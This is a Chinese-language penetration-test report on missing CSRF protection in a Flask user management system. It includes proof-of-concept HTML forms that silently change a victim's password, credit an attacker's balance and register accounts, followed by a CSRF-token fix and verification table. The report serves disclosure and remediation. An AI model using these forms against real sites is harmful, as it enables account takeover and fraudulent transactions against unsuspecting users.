

CSRF 漏洞报告

测试目标: Flask 用户管理系统

漏洞位置: 全部 POST 接口

报告日期: 2026-07-14

漏洞概述

系统所有 POST 接口均无 CSRF Token 验证，攻击者可构造恶意页面，利用已登录用户的 Session 执行未授权操作。

受影响接口

#	路由	方法	风险等级
1	/change-password	POST	高危
2	/recharge	POST	高危
3	/register	POST	中危
4	/upload	POST	中危
5	/login	POST	中危

攻击场景

攻击场景 1：CSRF 修改密码

攻击者构造恶意页面，诱骗已登录用户访问：

```
<form action="http://目标服务器/change-password" method="POST">
  <input type="hidden" name="username" value="victim">
  <input type="hidden" name="new_password" value="hacked">
```

```
</form>
<script>document.forms[0].submit();</script>
```

用户访问即触发，密码被无声修改，攻击者用新密码登录。

攻击场景 2：CSRF 越权充值

```
<form action="http://目标服务器/recharge" method="POST">
  <input type="hidden" name="user_id" value="attacker">
  <input type="hidden" name="amount" value="99999">
</form>
```

攻击场景 3：CSRF 恶意注册

```
<form action="http://目标服务器/register" method="POST">
  <input type="hidden" name="username" value="evil">
  <input type="hidden" name="password" value="evil123">
</form>
```

修复方案

所有 POST 接口添加 CSRF Token 验证。

后端

```
import secrets

def generate_csrf_token():
    if "_csrf_token" not in session:
        session["_csrf_token"] = secrets.token_hex(32)
    return session["_csrf_token"]

def validate_csrf():
    token = request.form.get("_csrf_token", "")
    stored = session.get("_csrf_token", "")
    if not token or not stored or token != stored:
        abort(403, "CSRF Token 无效")
```

前端

所有表单添加隐藏字段：

```
<input type="hidden" name="_csrf_token" value="{{ csrf_token() }}">
```

修复验证

测试项	结果
带 CSRF Token 正常提交	✓ 正常
不带 CSRF Token 提交	✓ 返回 403 拦截
登录页面含 CSRF Token	✓
个人中心表单含 CSRF Token	✓
注册页面含 CSRF Token	✓
上传页面含 CSRF Token	✓